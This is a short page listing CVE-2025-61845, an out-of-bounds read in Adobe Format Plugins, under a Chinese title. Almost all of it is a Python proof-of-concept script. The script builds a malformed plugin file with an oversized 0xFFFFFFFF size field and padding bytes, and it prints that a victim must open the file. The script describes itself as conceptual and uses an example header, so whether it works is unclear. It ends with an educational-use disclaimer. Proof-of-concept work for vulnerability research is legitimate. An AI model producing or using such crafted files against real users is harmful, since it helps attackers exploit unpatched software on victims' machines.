CVE-2025-61845 Adobe Format Plugins越界读取漏洞

#!/usr/bin/env python3 """ CVE-2025-61845 PoC - Adobe Format Plugins Out-of-bounds Read Note: This is a conceptual PoC demonstrating the vulnerability pattern. Actual exploitation requires specific file format crafting. """ import struct import os def create_malicious_format_plugin(output_path): """ Generate a malicious Format Plugin file to trigger OOB read. This PoC creates a minimal malformed file structure. """ # Format Plugin magic bytes (example) header = b'FPGB' # Format Plugin signature # Malformed header designed to trigger OOB read # Version field manipulation version = b'\x01\x01\x01' # Version 1.1.1 # Crafted size field that may cause buffer overflow # when parsed by vulnerable code size_field = struct.pack('<I', 0xFFFFFFFF) # Large size value # Malformed data block data_block = b'A' * 1024 + b'\xDE\xAD\xBE\xEF' # File structure malicious_content = header + version + size_field + data_block with open(output_path, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious file created: {output_path}") print(f"[+] File size: {len(malicious_content)} bytes") print("[*] This file may trigger OOB read in vulnerable Adobe Format Plugins") print("[*] User interaction required: victim must open this file") def main(): output_file = "CVE-2025-61845_malicious.fp" create_malicious_format_plugin(output_file) print("\n[!] Disclaimer: This PoC is for educational and security research purposes only.") if __name__ == "__main__": main()